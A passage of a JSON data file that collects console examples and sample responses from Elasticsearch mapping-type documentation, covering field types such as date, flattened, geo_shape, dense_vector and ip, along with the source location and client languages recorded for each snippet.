\"aggregations\": {\n \"metric_min\": {\n \"value\": -302.5\n },\n \"metric_max\": {\n \"value\": 1702.3\n },\n \"metric_value_count\": {\n \"value\": 50\n },\n \"metric_sum\": {\n \"value\": 500.0\n },\n \"metric_avg\": {\n \"value\": 10.0\n }\n }\n}"}, {"source_location":{"file":"mapping/types/aggregate-metric-double.asciidoc","line":205},"digest":"14f124294a4a0e3a657d1468c36161cd","lang":"console","found":["ruby"],"source":"GET stats-index/_search\n{\n \"query\": {\n \"term\": {\n \"agg_metric\": {\n \"value\": 702.30\n }\n }\n }\n}"}, {"source_location":{"file":"mapping/types/aggregate-metric-double.asciidoc","line":223},"digest":"4220ebda87b0d86c21ac61bc7074f7d0","lang":"console-result","found":[],"source":"{\n ...\n \"hits\": {\n \"total\": {\n \"value\": 1,\n \"relation\": \"eq\"\n },\n \"max_score\": 1.0,\n \"hits\": [\n {\n \"_index\": \"stats-index\",\n \"_id\": \"1\",\n \"_score\": 1.0,\n \"_source\": {\n \"agg_metric\": {\n \"min\": -302.5,\n \"max\": 702.3,\n \"sum\": 200.0,\n \"value_count\": 25\n }\n }\n }\n ]\n }\n}"}, {"source_location":{"file":"mapping/types/aggregate-metric-double.asciidoc","line":267},"digest":"97f260817b60f3deb7f7034d7dee7e12","lang":"console","found":["ruby"],"source":"PUT idx\n{\n \"mappings\": {\n \"_source\": { \"mode\": \"synthetic\" },\n \"properties\": {\n \"agg_metric\": {\n \"type\": \"aggregate_metric_double\",\n \"metrics\": [ \"min\", \"max\", \"sum\", \"value_count\" ],\n \"default_metric\": \"max\"\n }\n }\n }\n}\n\nPUT idx/_doc/1\n{\n \"agg_metric\": {\n \"min\": -302.50,\n \"max\": 702.30,\n \"sum\": 200.0,\n \"value_count\": 25\n }\n}"}, {"source_location":{"file":"mapping/types/aggregate-metric-double.asciidoc","line":297},"digest":"7b0c9063c2bed65c5d8374e0985d16b7","lang":"console-result","found":[],"source":"{\n \"agg_metric\": {\n \"min\": -302.50,\n \"max\": 702.30,\n \"sum\": 200.0,\n \"value_count\": 25\n }\n}"}, {"source_location":{"file":"mapping/types/alias.asciidoc","line":12},"digest":"2716453454dbf9c6dde2ea6850a62214","lang":"console","found":["ruby"],"source":"PUT trips\n{\n \"mappings\": {\n \"properties\": {\n \"distance\": {\n \"type\": \"long\"\n },\n \"route_length_miles\": {\n \"type\": \"alias\",\n \"path\": \"distance\" <1>\n },\n \"transit_mode\": {\n \"type\": \"keyword\"\n }\n }\n }\n}\n\nGET _search\n{\n \"query\": {\n \"range\" : {\n \"route_length_miles\" : {\n \"gte\" : 39\n }\n }\n }\n}"}, {"source_location":{"file":"mapping/types/alias.asciidoc","line":55},"digest":"a2dabdcbb661e7690166ae6d0de27e46","lang":"console","found":["ruby"],"source":"GET trips/_field_caps?fields=route_*,transit_mode"}, {"source_location":{"file":"mapping/types/alias.asciidoc","line":86},"digest":"f6c9d72fa26cbedd0c3f9fa64a88c38a","lang":"console","found":["ruby"],"source":"GET /_search\n{\n \"query\" : {\n \"match_all\": {}\n },\n \"_source\": \"route_length_miles\"\n}"}, {"source_location":{"file":"mapping/types/array.asciidoc","line":42},"digest":"f454e3f8ad5f5bd82a4a25af7dee9ca1","lang":"console","found":["python","ruby","go"],"source":"PUT my-index-000001/_doc/1\n{\n \"message\": \"some arrays in this document...\",\n \"tags\": [ \"elasticsearch\", \"wow\" ], <1>\n \"lists\": [ <2>\n {\n \"name\": \"prog_list\",\n \"description\": \"programming list\"\n },\n {\n \"name\": \"cool_list\",\n \"description\": \"cool stuff list\"\n }\n ]\n}\n\nPUT my-index-000001/_doc/2 <3>\n{\n \"message\": \"no arrays in this document...\",\n \"tags\": \"elasticsearch\",\n \"lists\": {\n \"name\": \"prog_list\",\n \"description\": \"programming list\"\n }\n}\n\nGET my-index-000001/_search\n{\n \"query\": {\n \"match\": {\n \"tags\": \"elasticsearch\" <4>\n }\n }\n}"}, {"source_location":{"file":"mapping/types/binary.asciidoc","line":12},"digest":"22d8e92b4100f8e4f52260ef8d3aa2b2","lang":"console","found":["ruby"],"source":"PUT my-index-000001\n{\n \"mappings\": {\n \"properties\": {\n \"name\": {\n \"type\": \"text\"\n },\n \"blob\": {\n \"type\": \"binary\"\n }\n }\n }\n}\n\nPUT my-index-000001/_doc/1\n{\n \"name\": \"Some binary blob\",\n \"blob\": \"U29tZSBiaW5hcnkgYmxvYg==\" <1>\n}"}, {"source_location":{"file":"mapping/types/boolean.asciidoc","line":22},"digest":"937ffc65cbb20505a8aba25b37a796a5","lang":"console","found":["ruby"],"source":"PUT my-index-000001\n{\n \"mappings\": {\n \"properties\": {\n \"is_published\": {\n \"type\": \"boolean\"\n }\n }\n }\n}\n\nPOST my-index-000001/_doc/1?refresh\n{\n \"is_published\": \"true\" <1>\n}\n\nGET my-index-000001/_search\n{\n \"query\": {\n \"term\": {\n \"is_published\": true <2>\n }\n }\n}"}, {"source_location":{"file":"mapping/types/boolean.asciidoc","line":78},"digest":"5b8119b4d9a09f4643be5a5b40875c8f","lang":"console","found":["ruby"],"source":"POST my-index-000001/_doc/1?refresh\n{\n \"is_published\": true\n}\n\nPOST my-index-000001/_doc/2?refresh\n{\n \"is_published\": false\n}\n\nGET my-index-000001/_search\n{\n \"aggs\": {\n \"publish_state\": {\n \"terms\": {\n \"field\": \"is_published\"\n }\n }\n },\n \"sort\": [ \"is_published\" ],\n \"fields\": [\n {\"field\": \"weight\"}\n ],\n \"runtime_mappings\": {\n \"weight\": {\n \"type\": \"long\",\n \"script\": \"emit(doc['is_published'].value ? 10 : 0)\"\n }\n }\n}"}, {"source_location":{"file":"mapping/types/boolean.asciidoc","line":242},"digest":"2826510e4aeb1c0d8dc43d317ed7624a","lang":"console","found":["ruby"],"source":"PUT idx\n{\n \"mappings\": {\n \"_source\": { \"mode\": \"synthetic\" },\n \"properties\": {\n \"bool\": { \"type\": \"boolean\" }\n }\n }\n}\nPUT idx/_doc/1\n{\n \"bool\": [true, false, true, false]\n}"}, {"source_location":{"file":"mapping/types/boolean.asciidoc","line":261},"digest":"d12c9a4aa833545f4b662ca3726c6c90","lang":"console-result","found":[],"source":"{\n \"bool\": [false, false, true, true]\n}"}, {"source_location":{"file":"mapping/types/completion.asciidoc","line":12},"digest":"31ac1b68dc7c26a1d37350be47ae9381","lang":"console","found":["ruby"],"source":"PUT music\n{\n \"mappings\": {\n \"properties\": {\n \"suggest\": {\n \"type\": \"completion\"\n }\n }\n }\n}"}, {"source_location":{"file":"mapping/types/date.asciidoc","line":41},"digest":"d2f52c106685bd8eab47e11d644d7a70","lang":"console","found":["python","ruby","go"],"source":"PUT my-index-000001\n{\n \"mappings\": {\n \"properties\": {\n \"date\": {\n \"type\": \"date\" <1>\n }\n }\n }\n}\n\nPUT my-index-000001/_doc/1\n{ \"date\": \"2015-01-01\" } <2>\n\nPUT my-index-000001/_doc/2\n{ \"date\": \"2015-01-01T12:10:30Z\" } <3>\n\nPUT my-index-000001/_doc/3\n{ \"date\": 1420070400001 } <4>\n\nGET my-index-000001/_search\n{\n \"sort\": { \"date\": \"asc\"} <5>\n}"}, {"source_location":{"file":"mapping/types/date.asciidoc","line":93},"digest":"85479e02af00681210e17e3d0ff51e21","lang":"console","found":["python","ruby","go"],"source":"PUT my-index-000001\n{\n \"mappings\": {\n \"properties\": {\n \"date\": {\n \"type\": \"date\",\n \"format\": \"yyyy-MM-dd HH:mm:ss||yyyy-MM-dd||epoch_millis\"\n }\n }\n }\n}"}, {"source_location":{"file":"mapping/types/date.asciidoc","line":189},"digest":"746e0a1cb5984f2672963b363505c7b3","lang":"console","found":["python","ruby"],"source":"PUT my-index-000001\n{\n \"mappings\": {\n \"properties\": {\n \"date\": {\n \"type\": \"date\",\n \"format\": \"strict_date_optional_time||epoch_second\"\n }\n }\n }\n}\n\nPUT my-index-000001/_doc/example?refresh\n{ \"date\": 1618321898 }\n\nPOST my-index-000001/_search\n{\n \"fields\": [ {\"field\": \"date\"}],\n \"_source\": false\n}"}, {"source_location":{"file":"mapping/types/date.asciidoc","line":216},"digest":"e0adb17758a35d3058d8ef940ee63e31","lang":"console-result","found":[],"source":"{\n \"hits\": {\n \"hits\": [\n {\n \"_id\": \"example\",\n \"_index\": \"my-index-000001\",\n \"_score\": 1.0,\n \"fields\": {\n \"date\": [\"2021-04-13T13:51:38.000Z\"]\n }\n }\n ]\n }\n}"}, {"source_location":{"file":"mapping/types/date.asciidoc","line":250},"digest":"fe6a21b4a6b33cd6abc522947d6f3ea2","lang":"console","found":["python","ruby"],"source":"PUT idx\n{\n \"mappings\": {\n \"_source\": { \"mode\": \"synthetic\" },\n \"properties\": {\n \"date\": { \"type\": \"date\" }\n }\n }\n}\nPUT idx/_doc/1\n{\n \"date\": [\"2015-01-01T12:10:30Z\", \"2014-01-01T12:10:30Z\"]\n}"}, {"source_location":{"file":"mapping/types/date.asciidoc","line":269},"digest":"c143d0da7292dd7795df83a00414470b","lang":"console-result","found":[],"source":"{\n \"date\": [\"2014-01-01T12:10:30.000Z\", \"2015-01-01T12:10:30.000Z\"]\n}"}, {"source_location":{"file":"mapping/types/date_nanos.asciidoc","line":30},"digest":"ad57ccba0a060da4f5313692fa26a235","lang":"console","found":["ruby"],"source":"PUT my-index-000001\n{\n \"mappings\": {\n \"properties\": {\n \"date\": {\n \"type\": \"date_nanos\" <1>\n }\n }\n }\n}\n\nPUT my-index-000001/_bulk?refresh\n{ \"index\" : { \"_id\" : \"1\" } }\n{ \"date\": \"2015-01-01\" } <2>\n{ \"index\" : { \"_id\" : \"2\" } }\n{ \"date\": \"2015-01-01T12:10:30.123456789Z\" } <3>\n{ \"index\" : { \"_id\" : \"3\" } }\n{ \"date\": 1420070400000 } <4>\n\nGET my-index-000001/_search\n{\n \"sort\": { \"date\": \"asc\"}, <5>\n \"runtime_mappings\": {\n \"date_has_nanos\": {\n \"type\": \"boolean\",\n \"script\": \"emit(doc['date'].value.nano != 0)\" <6>\n }\n },\n \"fields\": [\n {\n \"field\": \"date\",\n \"format\": \"strict_date_optional_time_nanos\" <7>\n },\n {\n \"field\": \"date_has_nanos\"\n }\n ]\n}"}, {"source_location":{"file":"mapping/types/date_nanos.asciidoc","line":160},"digest":"14a49c13c399840e64c00b487aa820c9","lang":"console","found":["ruby"],"source":"PUT idx\n{\n \"mappings\": {\n \"_source\": { \"mode\": \"synthetic\" },\n \"properties\": {\n \"date\": { \"type\": \"date_nanos\" }\n }\n }\n}\nPUT idx/_doc/1\n{\n \"date\": [\"2015-01-01T12:10:30.000Z\", \"2014-01-01T12:10:30.000Z\"]\n}"}, {"source_location":{"file":"mapping/types/date_nanos.asciidoc","line":179},"digest":"c143d0da7292dd7795df83a00414470b","lang":"console-result","found":[],"source":"{\n \"date\": [\"2014-01-01T12:10:30.000Z\", \"2015-01-01T12:10:30.000Z\"]\n}"}, {"source_location":{"file":"mapping/types/dense-vector.asciidoc","line":18},"digest":"4be07b34db282044c88d5021c7ea08ee","lang":"console","found":["ruby"],"source":"PUT my-index\n{\n \"mappings\": {\n \"properties\": {\n \"my_vector\": {\n \"type\": \"dense_vector\",\n \"dims\": 3\n },\n \"my_text\" : {\n \"type\" : \"keyword\"\n }\n }\n }\n}\n\nPUT my-index/_doc/1\n{\n \"my_text\" : \"text1\",\n \"my_vector\" : [0.5, 10, 6]\n}\n\nPUT my-index/_doc/2\n{\n \"my_text\" : \"text2\",\n \"my_vector\" : [-0.5, 10, 10]\n}\n"}, {"source_location":{"file":"mapping/types/dense-vector.asciidoc","line":72},"digest":"35f892b475a1770f18328158be7039fd","lang":"console","found":["ruby"],"source":"PUT my-index-2\n{\n \"mappings\": {\n \"properties\": {\n \"my_vector\": {\n \"type\": \"dense_vector\",\n \"dims\": 3,\n \"similarity\": \"dot_product\"\n }\n }\n }\n}"}, {"source_location":{"file":"mapping/types/dense-vector.asciidoc","line":95},"digest":"fdada036a875d7995d5d7aba9c06361e","lang":"console","found":["ruby"],"source":"PUT my-index-2\n{\n \"mappings\": {\n \"properties\": {\n \"my_vector\": {\n \"type\": \"dense_vector\",\n \"dims\": 3,\n \"index\": false\n }\n }\n }\n}"}, {"source_location":{"file":"mapping/types/dense-vector.asciidoc","line":127},"digest":"2646710ece0c4c843aebeacd370d0396","lang":"console","found":["ruby"],"source":"PUT my-byte-quantized-index\n{\n \"mappings\": {\n \"properties\": {\n \"my_vector\": {\n \"type\": \"dense_vector\",\n \"dims\": 3,\n \"index\": true,\n \"index_options\": {\n \"type\": \"int8_hnsw\"\n }\n }\n }\n }\n}"}, {"source_location":{"file":"mapping/types/flattened.asciidoc","line":35},"digest":"8aa74aee3dcf4b34028e4c5e1c1ed27b","lang":"console","found":["ruby"],"source":"PUT bug_reports\n{\n \"mappings\": {\n \"properties\": {\n \"title\": {\n \"type\": \"text\"\n },\n \"labels\": {\n \"type\": \"flattened\"\n }\n }\n }\n}\n\nPOST bug_reports/_doc/1\n{\n \"title\": \"Results are not sorted correctly.\",\n \"labels\": {\n \"priority\": \"urgent\",\n \"release\": [\"v1.2.5\", \"v1.3.0\"],\n \"timestamp\": {\n \"created\": 1541458026,\n \"closed\": 1541457010\n }\n }\n}"}, {"source_location":{"file":"mapping/types/flattened.asciidoc","line":73},"digest":"169b39bb889ecd47541bed3e48725488","lang":"console","found":["ruby"],"source":"POST bug_reports/_search\n{\n \"query\": {\n \"term\": {\"labels\": \"urgent\"}\n }\n}"}, {"source_location":{"file":"mapping/types/flattened.asciidoc","line":85},"digest":"2f4a55dfeba8851b306ef9c1b216ef54","lang":"console","found":["ruby"],"source":"POST bug_reports/_search\n{\n \"query\": {\n \"term\": {\"labels.release\": \"v1.3.0\"}\n }\n}"}, {"source_location":{"file":"mapping/types/flattened.asciidoc","line":136},"digest":"92284d24bbb80ce6943f2ddcbf74b833","lang":"console","found":["ruby"],"source":"PUT my-index-000001\n{\n \"mappings\": {\n \"properties\": {\n \"flattened_field\": {\n \"type\": \"flattened\"\n }\n }\n }\n}\n\nPUT my-index-000001/_doc/1?refresh=true\n{\n \"flattened_field\" : {\n \"subfield\" : \"value\"\n }\n}\n\nPOST my-index-000001/_search\n{\n \"fields\": [\"flattened_field.subfield\"],\n \"_source\": false\n}"}, {"source_location":{"file":"mapping/types/flattened.asciidoc","line":163},"digest":"76fababb9fff6a0977eb549a19f78c39","lang":"console-result","found":[],"source":"{\n \"took\": 2,\n \"timed_out\": false,\n \"_shards\": {\n \"total\": 1,\n \"successful\": 1,\n \"skipped\": 0,\n \"failed\": 0\n },\n \"hits\": {\n \"total\": {\n \"value\": 1,\n \"relation\": \"eq\"\n },\n \"max_score\": 1.0,\n \"hits\": [{\n \"_index\": \"my-index-000001\",\n \"_id\": \"1\",\n \"_score\": 1.0,\n \"fields\": {\n \"flattened_field.subfield\" : [ \"value\" ]\n }\n }]\n }\n}"}, {"source_location":{"file":"mapping/types/flattened.asciidoc","line":205},"digest":"07de76cb0e7f11c7533788faf8c093c3","lang":"console","found":["ruby"],"source":"PUT my-index-000001\n{\n \"mappings\": {\n \"properties\": {\n \"title\": {\n \"type\": \"text\"\n },\n \"labels\": {\n \"type\": \"flattened\"\n }\n }\n }\n}"}, {"source_location":{"file":"mapping/types/flattened.asciidoc","line":225},"digest":"c6151a0788a10a7f40da684d72c3255c","lang":"console","found":["ruby"],"source":"POST /my-index-000001/_bulk?refresh\n{\"index\":{}}\n{\"title\":\"Something really urgent\",\"labels\":{\"priority\":\"urgent\",\"release\":[\"v1.2.5\",\"v1.3.0\"],\"timestamp\":{\"created\":1541458026,\"closed\":1541457010}}}\n{\"index\":{}}\n{\"title\":\"Somewhat less urgent\",\"labels\":{\"priority\":\"high\",\"release\":[\"v1.3.0\"],\"timestamp\":{\"created\":1541458026,\"closed\":1541457010}}}\n{\"index\":{}}\n{\"title\":\"Not urgent\",\"labels\":{\"priority\":\"low\",\"release\":[\"v1.2.0\"],\"timestamp\":{\"created\":1541458026,\"closed\":1541457010}}}"}, {"source_location":{"file":"mapping/types/flattened.asciidoc","line":334},"digest":"1d827ae674970692643ea81991e5396e","lang":"console","found":["ruby"],"source":"PUT idx\n{\n \"mappings\": {\n \"_source\": { \"mode\": \"synthetic\" },\n \"properties\": {\n \"flattened\": { \"type\": \"flattened\" }\n }\n }\n}\nPUT idx/_doc/1\n{\n \"flattened\": {\n \"field\": [ \"apple\", \"apple\", \"banana\", \"avocado\", \"10\", \"200\", \"AVOCADO\", \"Banana\", \"Tangerine\" ]\n }\n}"}, {"source_location":{"file":"mapping/types/flattened.asciidoc","line":355},"digest":"d19a1fe39b293292e94b326997a7ecad","lang":"console-result","found":[],"source":"{\n \"flattened\": {\n \"field\": [ \"10\", \"200\", \"AVOCADO\", \"Banana\", \"Tangerine\", \"apple\", \"avocado\", \"banana\" ]\n }\n}"}, {"source_location":{"file":"mapping/types/flattened.asciidoc","line":367},"digest":"f3574cfee3971d98417b8dc574a91be0","lang":"console","found":["ruby"],"source":"PUT idx\n{\n \"mappings\": {\n \"_source\": { \"mode\": \"synthetic\" },\n \"properties\": {\n \"flattened\": { \"type\": \"flattened\" }\n }\n }\n}\nPUT idx/_doc/1\n{\n \"flattened\": {\n \"field\": [\n { \"id\": 1, \"name\": \"foo\" },\n { \"id\": 2, \"name\": \"bar\" },\n { \"id\": 3, \"name\": \"baz\" }\n ]\n }\n}"}, {"source_location":{"file":"mapping/types/flattened.asciidoc","line":392},"digest":"b7a51ee239cfc40b4fb93bd2343a7c40","lang":"console-result","found":[],"source":"{\n \"flattened\": {\n \"field\": {\n \"id\": [ \"1\", \"2\", \"3\" ],\n \"name\": [ \"bar\", \"baz\", \"foo\" ]\n }\n }\n}"}, {"source_location":{"file":"mapping/types/flattened.asciidoc","line":407},"digest":"5b86d54900e2c4c043a54ca7ae2df0f0","lang":"console","found":["ruby"],"source":"PUT idx\n{\n \"mappings\": {\n \"_source\": { \"mode\": \"synthetic\" },\n \"properties\": {\n \"flattened\": { \"type\": \"flattened\" }\n }\n }\n}\nPUT idx/_doc/1\n{\n \"flattened\": {\n \"field\": [ \"foo\" ]\n }\n}"}, {"source_location":{"file":"mapping/types/flattened.asciidoc","line":428},"digest":"9ac53871cf2ca3699f7e3a0bac3777ae","lang":"console-result","found":[],"source":"{\n \"flattened\": {\n \"field\": \"foo\"\n }\n}"}, {"source_location":{"file":"mapping/types/geo-point.asciidoc","line":28},"digest":"e3678142aec988e2ff0ae5d934dc39e9","lang":"console","found":["ruby"],"source":"PUT my-index-000001\n{\n \"mappings\": {\n \"properties\": {\n \"location\": {\n \"type\": \"geo_point\"\n }\n }\n }\n}\n\nPUT my-index-000001/_doc/1\n{\n \"text\": \"Geopoint as an object using GeoJSON format\",\n \"location\": { <1>\n \"type\": \"Point\",\n \"coordinates\": [-71.34, 41.12]\n }\n}\n\nPUT my-index-000001/_doc/2\n{\n \"text\": \"Geopoint as a WKT POINT primitive\",\n \"location\" : \"POINT (-71.34 41.12)\" <2>\n}\n\nPUT my-index-000001/_doc/3\n{\n \"text\": \"Geopoint as an object with 'lat' and 'lon' keys\",\n \"location\": { <3>\n \"lat\": 41.12,\n \"lon\": -71.34\n }\n}\n\nPUT my-index-000001/_doc/4\n{\n \"text\": \"Geopoint as an array\",\n \"location\": [ -71.34, 41.12 ] <4>\n}\n\nPUT my-index-000001/_doc/5\n{\n \"text\": \"Geopoint as a string\",\n \"location\": \"41.12,-71.34\" <5>\n}\n\nPUT my-index-000001/_doc/6\n{\n \"text\": \"Geopoint as a geohash\",\n \"location\": \"drm3btev3e86\" <6>\n}\n\nGET my-index-000001/_search\n{\n \"query\": {\n \"geo_bounding_box\": { <7>\n \"location\": {\n \"top_left\": {\n \"lat\": 42,\n \"lon\": -72\n },\n \"bottom_right\": {\n \"lat\": 40,\n \"lon\": -74\n }\n }\n }\n }\n}"}, {"source_location":{"file":"mapping/types/geo-point.asciidoc","line":230},"digest":"c1bb395546102279296534522061829f","lang":"console","found":["ruby"],"source":"PUT idx\n{\n \"mappings\": {\n \"_source\": { \"mode\": \"synthetic\" },\n \"properties\": {\n \"point\": { \"type\": \"geo_point\" }\n }\n }\n}\nPUT idx/_doc/1\n{\n \"point\": [\n {\"lat\":-90, \"lon\":-80},\n {\"lat\":10, \"lon\":30}\n ]\n}"}, {"source_location":{"file":"mapping/types/geo-point.asciidoc","line":252},"digest":"59b40d90488a472cc19c7c28662ec5c4","lang":"console-result","found":[],"source":"{\n \"point\": [\n {\"lat\":-90.0, \"lon\":-80.00000000931323},\n {\"lat\":9.999999990686774, \"lon\":29.999999972060323}\n ]\n}"}, {"source_location":{"file":"mapping/types/geo-shape.asciidoc","line":107},"digest":"fab4b811ba968aa4df92fb1ac059ea31","lang":"console","found":["ruby"],"source":"PUT /example\n{\n \"mappings\": {\n \"properties\": {\n \"location\": {\n \"type\": \"geo_shape\"\n }\n }\n }\n}"}, {"source_location":{"file":"mapping/types/geo-shape.asciidoc","line":165},"digest":"14afe65afee3d43f27aaaa5b37f26a31","lang":"console","found":["ruby"],"source":"POST /example/_doc\n{\n \"location\" : {\n \"type\" : \"Point\",\n \"coordinates\" : [-77.03653, 38.897676]\n }\n}"}, {"source_location":{"file":"mapping/types/geo-shape.asciidoc","line":178},"digest":"22cb99d4e6ba3101a2d9f59764a90877","lang":"console","found":["ruby"],"source":"POST /example/_doc\n{\n \"location\" : \"POINT (-77.03653 38.897676)\"\n}"}, {"source_location":{"file":"mapping/types/geo-shape.asciidoc","line":195},"digest":"318e209cc4d6f306e65cb2f5598a50b1","lang":"console","found":["ruby"],"source":"POST /example/_doc\n{\n \"location\" : {\n \"type\" : \"LineString\",\n \"coordinates\" : [[-77.03653, 38.897676], [-77.009051, 38.889939]]\n }\n}"}, {"source_location":{"file":"mapping/types/geo-shape.asciidoc","line":208},"digest":"79e8bbbd6c440a21b0b4260c8cb1a61c","lang":"console","found":["ruby"],"source":"POST /example/_doc\n{\n \"location\" : \"LINESTRING (-77.03653 38.897676, -77.009051 38.889939)\"\n}"}, {"source_location":{"file":"mapping/types/geo-shape.asciidoc","line":227},"digest":"435e0d6a7d86e074d572d9671b7b9676","lang":"console","found":["ruby"],"source":"POST /example/_doc\n{\n \"location\" : {\n \"type\" : \"Polygon\",\n \"coordinates\" : [\n [ [100.0, 0.0], [101.0, 0.0], [101.0, 1.0], [100.0, 1.0], [100.0, 0.0] ]\n ]\n }\n}"}, {"source_location":{"file":"mapping/types/geo-shape.asciidoc","line":242},"digest":"f5eed3f2e3558a238487bc85305b7a71","lang":"console","found":["ruby"],"source":"POST /example/_doc\n{\n \"location\" : \"POLYGON ((100.0 0.0, 101.0 0.0, 101.0 1.0, 100.0 1.0, 100.0 0.0))\"\n}"}, {"source_location":{"file":"mapping/types/geo-shape.asciidoc","line":254},"digest":"6fbbf40cab0187f544ff7bca31d18d57","lang":"console","found":["ruby"],"source":"POST /example/_doc\n{\n \"location\" : {\n \"type\" : \"Polygon\",\n \"coordinates\" : [\n [ [100.0, 0.0], [101.0, 0.0], [101.0, 1.0], [100.0, 1.0], [100.0, 0.0] ],\n [ [100.2, 0.2], [100.8, 0.2], [100.8, 0.8], [100.2, 0.8], [100.2, 0.2] ]\n ]\n }\n}"}, {"source_location":{"file":"mapping/types/geo-shape.asciidoc","line":270},"digest":"c03ce952de42eae4b522cedc9fd3d14a","lang":"console","found":["ruby"],"source":"POST /example/_doc\n{\n \"location\" : \"POLYGON ((100.0 0.0, 101.0 0.0, 101.0 1.0, 100.0 1.0, 100.0 0.0), (100.2 0.2, 100.8 0.2, 100.8 0.8, 100.2 0.8, 100.2 0.2))\"\n}"}, {"source_location":{"file":"mapping/types/geo-shape.asciidoc","line":300},"digest":"033838729cfb5d1a28d04f69ee78d924","lang":"console","found":["ruby"],"source":"POST /example/_doc\n{\n \"location\" : {\n \"type\" : \"Polygon\",\n \"orientation\" : \"LEFT\",\n \"coordinates\" : [\n [ [-177.0, 10.0], [176.0, 15.0], [172.0, 0.0], [176.0, -15.0], [-177.0, -10.0], [-177.0, 10.0] ]\n ]\n }\n}"}, {"source_location":{"file":"mapping/types/geo-shape.asciidoc","line":331},"digest":"b3fffd96fdb118cd059b5f1d67d928de","lang":"console","found":["ruby"],"source":"POST /example/_doc\n{\n \"location\" : {\n \"type\" : \"MultiPoint\",\n \"coordinates\" : [\n [102.0, 2.0], [103.0, 2.0]\n ]\n }\n}"}, {"source_location":{"file":"mapping/types/geo-shape.asciidoc","line":346},"digest":"1cadbcf2cfeb312f73b7f098291356ac","lang":"console","found":["ruby"],"source":"POST /example/_doc\n{\n \"location\" : \"MULTIPOINT (102.0 2.0, 103.0 2.0)\"\n}"}, {"source_location":{"file":"mapping/types/geo-shape.asciidoc","line":360},"digest":"6fd82baa17a48e09e3d2eed514af7f46","lang":"console","found":["ruby"],"source":"POST /example/_doc\n{\n \"location\" : {\n \"type\" : \"MultiLineString\",\n \"coordinates\" : [\n [ [102.0, 2.0], [103.0, 2.0], [103.0, 3.0], [102.0, 3.0] ],\n [ [100.0, 0.0], [101.0, 0.0], [101.0, 1.0], [100.0, 1.0] ],\n [ [100.2, 0.2], [100.8, 0.2], [100.8, 0.8], [100.2, 0.8] ]\n ]\n }\n}"}, {"source_location":{"file":"mapping/types/geo-shape.asciidoc","line":377},"digest":"2081739da0c69de8af6f5bf9e94433e6","lang":"console","found":["ruby"],"source":"POST /example/_doc\n{\n \"location\" : \"MULTILINESTRING ((102.0 2.0, 103.0 2.0, 103.0 3.0, 102.0 3.0), (100.0 0.0, 101.0 0.0, 101.0 1.0, 100.0 1.0), (100.2 0.2, 100.8 0.2, 100.8 0.8, 100.2 0.8))\"\n}"}, {"source_location":{"file":"mapping/types/geo-shape.asciidoc","line":391},"digest":"529b975b7cedaac58dce9821956adc37","lang":"console","found":["ruby"],"source":"POST /example/_doc\n{\n \"location\" : {\n \"type\" : \"MultiPolygon\",\n \"coordinates\" : [\n [ [[102.0, 2.0], [103.0, 2.0], [103.0, 3.0], [102.0, 3.0], [102.0, 2.0]] ],\n [ [[100.0, 0.0], [101.0, 0.0], [101.0, 1.0], [100.0, 1.0], [100.0, 0.0]],\n [[100.2, 0.2], [100.8, 0.2], [100.8, 0.8], [100.2, 0.8], [100.2, 0.2]] ]\n ]\n }\n}"}, {"source_location":{"file":"mapping/types/geo-shape.asciidoc","line":408},"digest":"f9a315ea99bed0cf2f36be1d74eb3e4a","lang":"console","found":["ruby"],"source":"POST /example/_doc\n{\n \"location\" : \"MULTIPOLYGON (((102.0 2.0, 103.0 2.0, 103.0 3.0, 102.0 3.0, 102.0 2.0)), ((100.0 0.0, 101.0 0.0, 101.0 1.0, 100.0 1.0, 100.0 0.0), (100.2 0.2, 100.8 0.2, 100.8 0.8, 100.2 0.8, 100.2 0.2)))\"\n}"}, {"source_location":{"file":"mapping/types/geo-shape.asciidoc","line":422},"digest":"e3f2f6ee3e312b8a90634827ae954d70","lang":"console","found":["ruby"],"source":"POST /example/_doc\n{\n \"location\" : {\n \"type\": \"GeometryCollection\",\n \"geometries\": [\n {\n \"type\": \"Point\",\n \"coordinates\": [100.0, 0.0]\n },\n {\n \"type\": \"LineString\",\n \"coordinates\": [ [101.0, 0.0], [102.0, 1.0] ]\n }\n ]\n }\n}"}, {"source_location":{"file":"mapping/types/geo-shape.asciidoc","line":444},"digest":"909a032a9c1f7095b798444705b09ad6","lang":"console","found":["ruby"],"source":"POST /example/_doc\n{\n \"location\" : \"GEOMETRYCOLLECTION (POINT (100.0 0.0), LINESTRING (101.0 0.0, 102.0 1.0))\"\n}"}, {"source_location":{"file":"mapping/types/geo-shape.asciidoc","line":460},"digest":"93d7ba4130722cae04f9690e52a8f54f","lang":"console","found":["ruby"],"source":"POST /example/_doc\n{\n \"location\" : {\n \"type\" : \"envelope\",\n \"coordinates\" : [ [100.0, 1.0], [101.0, 0.0] ]\n }\n}"}, {"source_location":{"file":"mapping/types/geo-shape.asciidoc","line":475},"digest":"a89052bcdfe40e604a98d12be6ae59d2","lang":"console","found":["ruby"],"source":"POST /example/_doc\n{\n \"location\" : \"BBOX (100.0, 102.0, 2.0, 0.0)\"\n}"}, {"source_location":{"file":"mapping/types/histogram.asciidoc","line":99},"digest":"fe7169bab8e626f582c9ea87585d0f35","lang":"console","found":["ruby"],"source":"PUT my-index-000001\n{\n \"mappings\" : {\n \"properties\" : {\n \"my_histogram\" : {\n \"type\" : \"histogram\"\n },\n \"my_text\" : {\n \"type\" : \"keyword\"\n }\n }\n }\n}"}, {"source_location":{"file":"mapping/types/histogram.asciidoc","line":119},"digest":"858fde15fb0a0340873b123043f8c3b4","lang":"console","found":["ruby"],"source":"PUT my-index-000001/_doc/1\n{\n \"my_text\" : \"histogram_1\",\n \"my_histogram\" : {\n \"values\" : [0.1, 0.2, 0.3, 0.4, 0.5], <1>\n \"counts\" : [3, 7, 23, 12, 6] <2>\n }\n}\n\nPUT my-index-000001/_doc/2\n{\n \"my_text\" : \"histogram_2\",\n \"my_histogram\" : {\n \"values\" : [0.1, 0.25, 0.35, 0.4, 0.45, 0.5], <1>\n \"counts\" : [8, 17, 8, 7, 6, 2] <2>\n }\n}"}, {"source_location":{"file":"mapping/types/ip.asciidoc","line":11},"digest":"944a2dc22dae2a8503299926326a9c18","lang":"console","found":["ruby"],"source":"PUT my-index-000001\n{\n \"mappings\": {\n \"properties\": {\n \"ip_addr\": {\n \"type\": \"ip\"\n }\n }\n }\n}\n\nPUT my-index-000001/_doc/1\n{\n \"ip_addr\": \"192.168.1.1\"\n}\n\nGET my-index-000001/_search\n{\n \"query\": {\n \"term\": {\n \"ip_addr\": \"192.168.0.0/16\"\n }\n }\n}"}, 